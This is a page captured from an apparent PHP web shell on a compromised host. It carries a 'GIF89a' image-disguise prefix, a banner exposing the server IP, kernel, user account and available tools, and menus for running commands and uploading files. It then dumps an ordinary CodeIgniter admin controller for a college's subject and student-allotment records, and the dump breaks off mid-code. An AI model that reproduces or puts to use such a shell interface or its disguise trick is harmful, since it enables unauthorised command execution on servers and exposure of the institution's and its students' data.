GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.138.121.79 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller For Handling Request Related To Subjects * * @author Ankit Srivastava */ defined('BASEPATH') OR exit('No direct script access allowed'); class Subject extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/SubjectManagement'); $this->load->model('admin/CourseManagement'); $this->load->model('admin/DepartmentManagement'); $this->load->model('admin/DesignationManagement'); $this->load->model('admin/SessionManagement'); $this->load->model('admin/StudentManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allSubjects'] = $this->SubjectManagement->getAllSubjects()->result(); $this->load->view('admin/academics/subjects', $viewData); } else { redirect("admin/"); } } public function createSubject() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['allSubjectsTypes'] = $this->SubjectManagement->getAllSubjectTypes('T', 'F')->result(); $this->load->view('admin/academics/createSubject', $viewData); } else { redirect("admin/"); } } public function saveNewSubject() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('subjectName', 'Subject Name', 'required|trim', array('required' => 'Subject Name Can Not Be Blank.')); $this->form_validation->set_rules('subjectCode', 'Subject Code', 'required|trim', array('required' => 'Subject Code Can Not Be Blank.')); $this->form_validation->set_rules('subjectType', 'Subject Type', 'required|trim', array('required' => 'Subject Type Is Required.')); $this->form_validation->set_rules('subjectCourse', 'Course', 'required|trim', array('required' => 'Please Select Course.')); $this->form_validation->set_rules('subjectCourseSemOrYear', 'Semester/Year', 'required|trim', array('required' => 'Please Select Semester/Year.')); $this->form_validation->set_rules('sm_paper_type', 'Paper Type', 'required|trim', array('required' => 'Please Select Paper Type.')); $this->form_validation->set_rules('sm_lecture_hr', 'Lecture Hour', 'required|trim', array('required' => 'Lecture Hour Is Required.')); $this->form_validation->set_rules('sm_tutorial_hr', 'Tutorial Hour', 'required|trim', array('required' => 'Tutorial Hour Is Required.')); $this->form_validation->set_rules('sm_practical_hr', 'Practial Hour', 'required|trim', array('required' => 'Practial Hour Is Required.')); $this->form_validation->set_rules('sm_assessment_ct', 'Class Assessment Marks', 'required|trim', array('required' => 'Class Assessment Marks Is Required.')); $this->form_validation->set_rules('sm_assessment_ta', 'Teacher Assessment Marks', 'required|trim', array('required' => 'Teacher Assessment Marks Is Required.')); $this->form_validation->set_rules('sm_end_sem_theory', 'Semester Theory Marks', 'required|trim', array('required' => 'Semester Theory Marks Is Required.')); $this->form_validation->set_rules('sm_end_sem_practical', 'Semester Practical Marks', 'required|trim', array('required' => 'Semester Practical Marks Is Required.')); $queryBySubjectName = $this->SubjectManagement->getSubjectInfoByName(trim($this->input->post('subjectName'))); $subjectInfoByName = $queryBySubjectName->result(); $queryBySubjectCode = $this->SubjectManagement->getSubjectInfoByCode(trim($this->input->post('subjectCode'))); $subjectInfoByCode = $queryBySubjectCode->result(); if ($this->form_validation->run() == FALSE) { $this->createSubject(); } else if (sizeof($subjectInfoByName)) { $this->session->set_flashdata('errorMessage', "A Subject With This Name (" . trim($this->input->post('subjectName')) . ") Already Exits. Please Choose A Different Name."); $this->createSubject(); } else if (sizeof($subjectInfoByCode)) { $this->session->set_flashdata('errorMessage', "A Subject With This Code (" . trim($this->input->post('subjectCode')) . ") Already Exits. Please Choose A Different Code."); $this->createSubject(); } else { $subjectSyllabusFileWithPath = ""; if (!empty($_FILES['sm_syllabus_file']['name'])) { $subjectSyllabus['upload_path'] = './assets/admin/uploads/subjectSyllabus/'; $subjectSyllabus['allowed_types'] = 'pdf'; $subjectSyllabus['max_size'] = '1024'; $subjectSyllabus['file_ext_tolower'] = TRUE; $subjectSyllabus['encrypt_name'] = TRUE; $this->load->library('upload', $subjectSyllabus); if (!$this->upload->do_upload('sm_syllabus_file')) { $this->session->set_flashdata('errorMessage', "Subject Syllabus Can Not Be Uploaded As It Violates Upload File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.pdf."); $this->createSubject(); } else { $subjectSyllabusFileWithPath = "/assets/admin/uploads/subjectSyllabus/" . $this->upload->data()['file_name']; } } $newSubjectInfo = array( 'sm_name' => addslashes(trim($this->input->post('subjectName'))), 'sm_code' => addslashes(trim($this->input->post('subjectCode'))), 'st_id' => trim($this->input->post('subjectType')), 'course_id' => $this->input->post('subjectCourse'), 'sm_semester' => trim($this->input->post('subjectCourseSemOrYear')), 'sm_added_on' => date("Y-m-d H:i:s"), 'sm_added_by' => $this->session->userdata("adminData")["smember_id"], 'sm_updated_on' => date("Y-m-d H:i:s"), 'sm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sm_paper_type' => $this->input->post('sm_paper_type'), 'sm_lecture_hr' => $this->input->post('sm_lecture_hr'), 'sm_tutorial_hr' => $this->input->post('sm_tutorial_hr'), 'sm_practical_hr' => $this->input->post('sm_practical_hr'), 'sm_theory_credit' => $this->input->post('sm_lecture_hr') + $this->input->post('sm_tutorial_hr'), 'sm_practical_credit' => $this->input->post('sm_practical_hr') / 2, 'sm_assessment_ct' => $this->input->post('sm_assessment_ct'), 'sm_assessment_ta' => $this->input->post('sm_assessment_ta'), 'sm_end_sem_theory' => $this->input->post('sm_end_sem_theory'), 'sm_end_sem_practical' => $this->input->post('sm_end_sem_practical'), 'sm_syllabus_file' => $subjectSyllabusFileWithPath ); if ($this->SubjectManagement->createNewSubject($newSubjectInfo)) { $this->session->set_flashdata('successMessage', 'Subject Created Successfully.'); redirect("admin/Subject"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Subject. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editSubject($sm_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['subjectInfo'] = $this->SubjectManagement->getSubjectInfoBy($sm_id)->result()[0]; $viewData['allSubjectsTypes'] = $this->SubjectManagement->getAllSubjectTypes('T', 'F')->result(); $this->load->view('admin/academics/editSubject', $viewData); } else { redirect("admin/"); } } public function updateSubject() { if ($this->sessionvalidator->isLoggedIn()) { $subjectId = trim($this->input->post("subjectId")); $this->form_validation->set_rules('subjectName', 'Subject Name', 'required|trim', array('required' => 'Subject Name Can Not Be Blank.')); $this->form_validation->set_rules('subjectCode', 'Subject Code', 'required|trim', array('required' => 'Subject Code Can Not Be Blank.')); $this->form_validation->set_rules('subjectType', 'Subject Type', 'required|trim', array('required' => 'Subject Type Is Required.')); $this->form_validation->set_rules('subjectCourse', 'Course', 'required|trim', array('required' => 'Please Select Course.')); $this->form_validation->set_rules('subjectCourseSemOrYear', 'Semester/Year', 'required|trim', array('required' => 'Please Select Semester/Year.')); $this->form_validation->set_rules('sm_paper_type', 'Paper Type', 'required|trim', array('required' => 'Please Select Paper Type.')); $this->form_validation->set_rules('sm_lecture_hr', 'Lecture Hour', 'required|trim', array('required' => 'Lecture Hour Is Required.')); $this->form_validation->set_rules('sm_tutorial_hr', 'Tutorial Hour', 'required|trim', array('required' => 'Tutorial Hour Is Required.')); $this->form_validation->set_rules('sm_practical_hr', 'Practial Hour', 'required|trim', array('required' => 'Practial Hour Is Required.')); $this->form_validation->set_rules('sm_assessment_ct', 'Class Assessment Marks', 'required|trim', array('required' => 'Class Assessment Marks Is Required.')); $this->form_validation->set_rules('sm_assessment_ta', 'Teacher Assessment Marks', 'required|trim', array('required' => 'Teacher Assessment Marks Is Required.')); $this->form_validation->set_rules('sm_end_sem_theory', 'Semester Theory Marks', 'required|trim', array('required' => 'Semester Theory Marks Is Required.')); $this->form_validation->set_rules('sm_end_sem_practical', 'Semester Practical Marks', 'required|trim', array('required' => 'Semester Practical Marks Is Required.')); $subjectSyllabusFileName = substr($this->input->post('currentSyllabusFile'), strripos($this->input->post('currentSyllabusFile'), "/") + 1); if ($this->form_validation->run() == FALSE) { $this->createSubject(); } else if (!$this->SubjectManagement->isSubjectNameSafeUpdate($subjectId, trim($this->input->post('courseAlias')))) { $this->session->set_flashdata('errorMessage', "A Subject With This Name (" . trim($this->input->post('subjectName')) . ") Already Exits. Please Choose A Different Name."); $this->createSubject(); } else if (!$this->SubjectManagement->isSubjectCodeSafeUpdate($subjectId, trim($this->input->post('courseAlias')))) { $this->session->set_flashdata('errorMessage', "A Subject With This Code (" . trim($this->input->post('subjectCode')) . ") Already Exits. Please Choose A Different Code."); $this->createSubject(); } else { $subjectSyllabusFileWithPath = ""; if (!empty($_FILES['sm_syllabus_file']['name'])) { $subjectSyllabus['upload_path'] = './assets/admin/uploads/subjectSyllabus/'; $subjectSyllabus['allowed_types'] = 'pdf'; $subjectSyllabus['max_size'] = '1024'; $subjectSyllabus['file_ext_tolower'] = TRUE; $subjectSyllabus['encrypt_name'] = TRUE; $this->load->library('upload', $subjectSyllabus); if (!$this->upload->do_upload('sm_syllabus_file')) { $this->session->set_flashdata('errorMessage', "Subject Syllabus Can Not Be Uploaded As It Violates Upload File Criteria. File Size 1 MB Max. & Allowed Extension: Only *.pdf."); $this->createSubject(); } else { $subjectSyllabusFileWithPath = "/assets/admin/uploads/subjectSyllabus/" . $this->upload->data()['file_name']; if (file_exists("./assets/admin/uploads/subjectSyllabus/" . $subjectSyllabusFileName)) { unlink("./assets/admin/uploads/subjectSyllabus/" . $subjectSyllabusFileName); } } } else { $subjectSyllabusFileWithPath = trim($this->input->post('currentSyllabusFile')); } $subjectInfo = array( 'sm_id' => $subjectId, 'sm_name' => addslashes(trim($this->input->post('subjectName'))), 'sm_code' => addslashes(trim($this->input->post('subjectCode'))), 'st_id' => trim($this->input->post('subjectType')), 'course_id' => $this->input->post('subjectCourse'), 'sm_semester' => trim($this->input->post('subjectCourseSemOrYear')), 'sm_added_on' => date("Y-m-d H:i:s"), 'sm_added_by' => $this->session->userdata("adminData")["smember_id"], 'sm_updated_on' => date("Y-m-d H:i:s"), 'sm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sm_paper_type' => $this->input->post('sm_paper_type'), 'sm_lecture_hr' => $this->input->post('sm_lecture_hr'), 'sm_tutorial_hr' => $this->input->post('sm_tutorial_hr'), 'sm_practical_hr' => $this->input->post('sm_practical_hr'), 'sm_theory_credit' => $this->input->post('sm_lecture_hr') + $this->input->post('sm_tutorial_hr'), 'sm_practical_credit' => $this->input->post('sm_practical_hr') / 2, 'sm_assessment_ct' => $this->input->post('sm_assessment_ct'), 'sm_assessment_ta' => $this->input->post('sm_assessment_ta'), 'sm_end_sem_theory' => $this->input->post('sm_end_sem_theory'), 'sm_end_sem_practical' => $this->input->post('sm_end_sem_practical'), 'sm_syllabus_file' => $subjectSyllabusFileWithPath ); if ($this->SubjectManagement->updateSubjectInfo($subjectInfo)) { $this->session->set_flashdata('successMessage', 'Subject Update Successfully.'); redirect("admin/Subject"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Subject. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleSubjectStatus($sm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $subjectUpdateData = array( 'sm_id' => $sm_id, 'sm_updated_on' => date("Y-m-d H:i:s"), 'sm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sm_active_status' => $toUpdateStatus ); if ($this->SubjectManagement->updateSubjectInfo($subjectUpdateData)) { $this->session->set_flashdata('successMessage', 'Subject Status Updated Successfully.'); redirect("admin/Subject"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Subject Status. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteSubject($sm_id) { if ($this->sessionvalidator->isLoggedIn()) { $subjectUpdateData = array( 'sm_id' => $sm_id, 'sm_updated_on' => date("Y-m-d H:i:s"), 'sm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'sm_delete_status' => 'T' ); if ($this->SubjectManagement->updateSubjectInfo($subjectUpdateData)) { $this->session->set_flashdata('successMessage', 'Subject Deleted Successfully.'); redirect("admin/Subject"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Subject. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getSubjectsForMultipleDropDown() { $course_id = $_POST['course_id']; $course_info = $this->CourseManagement->getCoursesBy($course_id)->result(); $subject_info = $this->SubjectManagement->getAllActiveNonDeletedSubjects()->result(); if (sizeof($course_info)) { $semOrYear = ""; $thisCourseInfo = $course_info[0]; if ($thisCourseInfo->course_time_mgmt_flag == "S") { $semOrYear = "Semester"; } else if ($thisCourseInfo->course_time_mgmt_flag == "Y") { $semOrYear = "Year"; } else if ($thisCourseInfo->course_time_mgmt_flag == "Y") { $semOrYear = "Trimester"; } if (sizeof($subject_info)) { $options = ""; $thisSubjectSemester = 0; for ($i = 0; $i < sizeof($subject_info); $i++) { $thisSubjectInfo = $subject_info[$i]; if ($thisSubjectSemester == 0) { $thisSubjectSemester = $thisSubjectInfo->sm_semester; $options .= "<optgroup label='" . stripslashes($thisSubjectInfo->course_name) . "-" . $thisSubjectSemester . " " . $semOrYear . "'>"; $options .= "<option value=" . $thisSubjectInfo->sm_id . ">" . stripslashes($thisSubjectInfo->sm_code) . "-" . stripslashes($thisSubjectInfo->sm_name) . "</option>"; } else { if ($thisSubjectSemester == $thisSubjectInfo->sm_semester) { $thisSubjectSemester = $thisSubjectInfo->sm_semester; $options .= "<option value=" . $thisSubjectInfo->sm_id . ">" . stripslashes($thisSubjectInfo->sm_code) . "-" . stripslashes($thisSubjectInfo->sm_name) . "</option>"; } else { $thisSubjectSemester = $thisSubjectInfo->sm_semester; $options .= "</optgroup>"; $options .= "<optgroup label='" . stripslashes($thisSubjectInfo->course_name) . "-" . $thisSubjectSemester . " " . $semOrYear . "'>"; $options .= "<option value=" . $thisSubjectInfo->sm_id . ">" . stripslashes($thisSubjectInfo->sm_code) . "-" . stripslashes($thisSubjectInfo->sm_name) . "</option>"; } } } } else { $options = "<option value='0' disabled>No Subject Are Updated In This Course</option>"; } } else { $options = "<option value='0' disabled>The Course You Selected Is No Longer Available</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'subject_list' => $options ); echo json_encode($responseData); } public function getCourseBySubjectForDropDown() { $sm_id = $_POST['subject_id']; $subject_info = $this->SubjectManagement->getSubjectInfoBy($sm_id)->result(); if (sizeof($subject_info)) { $options = "<option value=''>Select Course</option>"; for ($i = 0; $i < sizeof($subject_info); $i++) { $options .= "<option value=" . $subject_info[$i]->course_id . " selected>" . stripslashes($subject_info[$i]->course_name) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'courses_avail' => sizeof($subject_info), 'course_list' => $options ); } else { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'courses_avail' => 0, 'course_list' => array() ); } echo json_encode($responseData); } /* Functions For Sets */ public function sets() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $allSubjectSetInfo = array(); $allSubjectSets = $this->SubjectManagement->getAllSubjectSets()->result(); if (sizeof($allSubjectSets)) { foreach ($allSubjectSets as $set) { $subSetAndSubjectInfo = array(); $subjectSubSetInfo = $this->SubjectManagement->getAllSubjectSubSetsBy($set->ssm_id)->result(); if (sizeof($subjectSubSetInfo)) { foreach ($subjectSubSetInfo as $subSet) { $thisSubSetInfo = array( 'sssm_id' => $subSet->sssm_id, 'subject_id' => $subSet->sm_id, 'subject_code' => addslashes($subSet->sm_code), 'subject_name' => addslashes($subSet->sm_name) ); array_push($subSetAndSubjectInfo, $thisSubSetInfo); } } $thisSetInfo = array( 'set_id' => $set->ssm_id, 'set_name' => addslashes($set->ssm_name), 'set_under_course' => addslashes($set->course_name), 'set_active_status' => $set->ssm_active_status, 'set_delete_status' => $set->ssm_delete_status, 'set_created_by' => $set->addedByAdmin, 'set_created_on' => date("d-m-Y h:i:s A", strtotime($set->ssm_added_on)), 'set_updated_by' => $set->updatedByAdmin, 'set_updated_on' => date("d-m-Y h:i:s A", strtotime($set->ssm_updated_on)), 'set_subjects' => $subSetAndSubjectInfo ); array_push($allSubjectSetInfo, $thisSetInfo); } } $viewData['allSubjectSets'] = $allSubjectSetInfo; $this->load->view('admin/academics/subjectSets', $viewData); } else { redirect("admin/"); } } public function createSet() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $this->load->view('admin/academics/createSubjectSet', $viewData); } else { redirect("admin/"); } } public function saveNewSubjectSet() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('setName', 'Set Name', 'required|trim', array('required' => 'Set Name Is Required.')); $this->form_validation->set_rules('setCourse', 'Course', 'required|trim', array('required' => 'Please Select A Course.')); $subjectSelection = $this->input->post('setSubjects'); if (is_array($subjectSelection)) { $isSubjectSelected = (sizeof($subjectSelection)) ? 1 : 0; } else { $isSubjectSelected = 0; } $setQueryByName = $this->SubjectManagement->getSubjectSetInfoByName(trim($this->input->post('setName'))); $setInfoByName = $setQueryByName->result(); if ($this->form_validation->run() == FALSE) { $this->createSet(); } else if (!$isSubjectSelected) { $this->session->set_flashdata('errorMessage', "At Least One Subject Should Be Selected While Creating A Subject Set."); $this->createSet(); } else if (sizeof($setInfoByName)) { $this->session->set_flashdata('errorMessage', "A Subject Set With This Name (" . trim($this->input->post('setName')) . ") Already Exits. Please Choose A Different Name."); $this->createSet(); } else { $subSetInfo = array(); $newSetInfo = array( 'ssm_name' => addslashes(trim($this->input->post('setName'))), 'course_id' => trim($this->input->post('setCourse')), 'ssm_added_by' => $this->session->userdata("adminData")["smember_id"], 'ssm_added_on' => date("Y-m-d H:i:s"), 'ssm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ssm_updated_on' => date("Y-m-d H:i:s"), ); foreach ($subjectSelection as $setSubjects) { $thisSubSetInfo = array( 'ssm_id' => '', 'sm_id' => $setSubjects ); array_push($subSetInfo, $thisSubSetInfo); } $this->db->trans_start(); $set_id = $this->SubjectManagement->createNewSubjectSet($newSetInfo); if ($set_id) { for ($i = 0; $i < sizeof($subSetInfo); $i++) { $subSetInfo[$i]['ssm_id'] = $set_id; } if ($this->SubjectManagement->createNewSubjectSubSetMulti($subSetInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Subject Set Created Successfully.'); redirect("admin/Subject/sets"); } } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Creating Subject Set. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleSubjectSetStatus($sm_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $subjectSetUpdateData = array( 'ssm_id' => $sm_id, 'ssm_updated_on' => date("Y-m-d H:i:s"), 'ssm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ssm_active_status' => $toUpdateStatus ); if ($this->SubjectManagement->updateSubjectSetInfo($subjectSetUpdateData)) { $this->session->set_flashdata('successMessage', 'Subject Set Status Updated Successfully.'); redirect("admin/Subject/sets"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Subject Set Status. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteSubjectSet($sm_id) { if ($this->sessionvalidator->isLoggedIn()) { $subjectSetUpdateData = array( 'ssm_id' => $sm_id, 'ssm_updated_on' => date("Y-m-d H:i:s"), 'ssm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ssm_delete_status' => 'T' ); if ($this->SubjectManagement->updateSubjectSetInfo($subjectSetUpdateData)) { $this->session->set_flashdata('successMessage', 'Subject Set Deleted Successfully.'); redirect("admin/Subject/sets"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Subject Set. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function undoDeleteSubjectSet($sm_id) { if ($this->sessionvalidator->isLoggedIn()) { $subjectSetUpdateData = array( 'ssm_id' => $sm_id, 'ssm_updated_on' => date("Y-m-d H:i:s"), 'ssm_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ssm_delete_status' => 'F' ); if ($this->SubjectManagement->updateSubjectSetInfo($subjectSetUpdateData)) { $this->session->set_flashdata('successMessage', 'Subject Set Recovered Successfully.'); redirect("admin/Subject/sets"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Subject Set. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function getSetsByCourseForDropDown() { $course_id = $_POST['course_id']; $set_info = $this->SubjectManagement->getSubjectSetInfoByCourse($course_id)->result(); if (sizeof($set_info)) { $options = "<option value=''>Select Subject Set</option>"; for ($i = 0; $i < (sizeof($set_info)); $i++) { $options .= "<option value=" . $set_info[$i]->ssm_id . ">" . $set_info[$i]->ssm_name . "</option>"; } } else { $options = "<option value=''>No Set(s) Are Available</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'set_list' => $options ); echo json_encode($responseData); } public function getSetsByCourseForDropDownSelected() { $course_id = $_POST['course_id']; $set = $_POST['set']; $set_info = $this->SubjectManagement->getSubjectSetInfoByCourse($course_id)->result(); if (sizeof($set_info)) { $options = "<option value=''>Select Subject Set</option>"; for ($i = 0; $i < (sizeof($set_info)); $i++) { $selected = ($set == $set_info[$i]->ssm_id) ? "selected" : ""; $options .= "<option value=" . $set_info[$i]->ssm_id . " " . $selected . ">" . $set_info[$i]->ssm_name . "</option>"; } } else { $options = "<option value=''>No Set(s) Are Available</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'set_list' => $options ); echo json_encode($responseData); } public function getSubjectInfoOfSets() { $set_id = $_POST['set_id']; $subject_info = $this->SubjectManagement->getAllSubjectSubSetsBy($set_id)->result(); $subjects = array(); if (sizeof($subject_info)) { for ($i = 0; $i < (sizeof($subject_info)); $i++) { array_push($subjects, array( 'subject_id' => $subject_info[$i]->sm_id, 'subject_name' => stripslashes($subject_info[$i]->sm_name), 'subject_code' => stripslashes($subject_info[$i]->sm_code) )); } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'subject_list' => $subjects, 'available_subjects' => sizeof($subject_info), 'message' => 'Subjects Found.' ); } else { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'subject_list' => $subjects, 'available_subjects' => 0, 'message' => 'No Subjects Found In The Selected Set.' ); } echo json_encode($responseData); } /* Functions For Student-Subject Allocation */ public function studentSubjectAllotment() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('C', 'N'))->result(); $this->load->view('admin/academics/studentSubjectAllot', $viewData); } else { redirect("admin/"); } } public function saveNewAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $selectedStudents = $this->input->post('selectedStudents'); $allotmentData = array(); $alreadyExistingStudentData = array(); $subjectSelection = $this->input->post('setSubjects'); if (is_array($subjectSelection)) { $isSubjectSelected = (sizeof($subjectSelection)) ? 1 : 0; } else { $isSubjectSelected = 0; } if (!$isSubjectSelected) { $this->session->set_flashdata('errorMessage', "At Least One Subject Should Be Selected While Alloting Subject."); $this->studentSubjectAllotment(); } else { for ($i = 0; $i < sizeof($selectedStudents); $i++) { for ($j = 0; $j < sizeof($subjectSelection); $j++) { if (sizeof($this->StudentManagement->getStudentSubjectAllotmentDetailsBy('', $subjectSelection[$j], $this->input->post('subjectCourseSemOrYear'), $selectedStudents[$i], $this->input->post("session"))->result()) == 0) { array_push($allotmentData, array( 'sm_id' => $subjectSelection[$j], 'tspi_id' => $selectedStudents[$i], 'ssa_session' => $this->input->post("session"), 'ssa_allotted_on' => date("Y-m-d H:i:s"), 'ssa_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'ssa_semester' => trim($this->input->post('subjectCourseSemOrYear')), 'ssa_updated_on' => date("Y-m-d H:i:s"), 'ssa_updated_by' => $this->session->userdata("adminData")["smember_id"] )); } else { //already existing data array_push($alreadyExistingStudentData, array( 'sm_id' => $subjectSelection[$j], 'tspi_id' => $selectedStudents[$i], 'ssa_session' => $this->input->post("session"), 'ssa_allotted_on' => date("Y-m-d H:i:s"), 'ssa_allotted_by' => $this->session->userdata("adminData")["smember_id"], 'ssa_semester' => trim($this->input->post('subjectCourseSemOrYear')), 'ssa_updated_on' => date("Y-m-d H:i:s"), 'ssa_updated_by' => $this->session->userdata("adminData")["smember_id"] )); } } } if (sizeof($allotmentData)) { $this->db->trans_start(); if ($this->SubjectManagement->createNewSubjectStudentAllotmentMulti($allotmentData)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Subject Allotted To Student(s) Successfully.'); redirect("admin/Subject/studentSubjectAllotment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Subject To Student. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'Allotment Data Already Exists.'); redirect("admin/Subject/studentSubjectAllotment"); } } } else { redirect("admin/"); } } public function updateAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $tspi_id = $this->input->post("tspi_id"); $current_subject = $this->input->post("current_subject"); $safeToUpdateStudentSubject = $this->SubjectManagement->checkSafeToUpdateStudentSubject($tspi_id, $current_subject)->result(); $allotmentUpdateData = array( 'ssa_id' => $this->input->post('allot_id'), 'sm_id' => $this->input->post('subjectMod'), 'ssa_updated_on' => date("Y-m-d H:i:s"), 'ssa_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if (sizeof($safeToUpdateStudentSubject)) { $this->session->set_flashdata('errorMessage', 'Student Allotment Has Been Already Done With Teacher And Subject Cannot Update Subject. Try Deleing Allotment.'); redirect('admin/Subject/viewExistingAllotment'); } else { if (sizeof($this->StudentManagement->getStudentSubjectAllotmentDetailsBy($this->input->post('allot_id'), $this->input->post('subjectMod'))->result()) == 0) { if ($this->SubjectManagement->updateStudentSubjectAllotInfo($allotmentUpdateData)) { $this->session->set_flashdata('successMessage', 'Allotment Info Updated Successfully.'); redirect("admin/Subject/viewExistingAllotment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Allotment Info. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'Subject Already Alloted, Try Allocating Different Subject.'); redirect("admin/Subject/viewExistingAllotment"); } } } else { redirect("admin/"); } } public function viewExistingAllotment() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result(); $viewData['selectedSemOrYear'] = ""; $viewData['selectedSubject'] = ""; $viewData['allotmentData'] = array(); if (isset($_POST['filterSubmitBtn'])) { $reqCourse = trim($this->input->post("subjectCourse")); $reqSemOrYear = trim($this->input->post("subjectCourseSemOrYear")); $reqSub = trim($this->input->post("subjects")); $viewData['selectedSemOrYear'] = $reqSemOrYear; $viewData['selectedSubject'] = $reqSub; $viewData['selectedCourse'] = $reqCourse; $viewData['allotmentData'] = $this->SubjectManagement->getAllottedSubjectInfoBy($reqCourse, $reqSemOrYear, $reqSub)->result(); $this->load->view('admin/academics/allottedSubjects', $viewData); } else { $this->load->view('admin/academics/allottedSubjects', $viewData); } } else { redirect("admin/"); } } public function deleteAllotment($ssa_id, $tspi_id, $sm_id) { if ($this->sessionvalidator->isLoggedIn()) { $safeToUpdateStudentSubject = $this->SubjectManagement->checkSafeToUpdateStudentSubject($tspi_id, $sm_id)->result(); if (sizeof($safeToUpdateStudentSubject)) { $this->db->trans_start(); if ($this->SubjectManagement->deleteStudentSubjectAllotInfo($ssa_id) && $this->SubjectManagement->deleteStudentTeacherAllotInfo($safeToUpdateStudentSubject[0]->stta_id)) { $this->session->set_flashdata('successMessage', 'Student-Subject Allotment & Teacher-Student Allotment Info Deleted Successfully.'); $this->db->trans_complete(); redirect("admin/Subject/viewExistingAllotment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Student-Subject Allotment Info. Try Later.'); redirect("admin/Subject/viewExistingAllotment"); } } else { if ($this->SubjectManagement->deleteStudentSubjectAllotInfo($ssa_id)) { $this->session->set_flashdata('successMessage', 'Student-Subject Allotment Info Deleted Successfully.'); redirect("admin/Subject/viewExistingAllotment"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Student-Subject Allotment Info. Try Later.'); redirect("admin/Subject/viewExistingAllotment"); } } } else { redirect("admin/"); } } public function getSubjectAllotmentFullInfo() { $allot_id = $_POST['allot_id']; $allot_info = $this->SubjectManagement->getAllottedSubjectInfoById($allot_id)->result()[0]; if ($allot_info->tspi_gender == "M") { $gender = "<i class='fa fa-male'></i>|Male"; } else if ($allot_info->tspi_gender == "F") { $gender = "<i class='fa fa-female'></i>|Female"; } else { $gender = "<i class='fa fa-transgender'></i>|Transgender"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'stu_id' => $allot_info->tspi_id, 'stu_name' => stripslashes($allot_info->tspi_name), 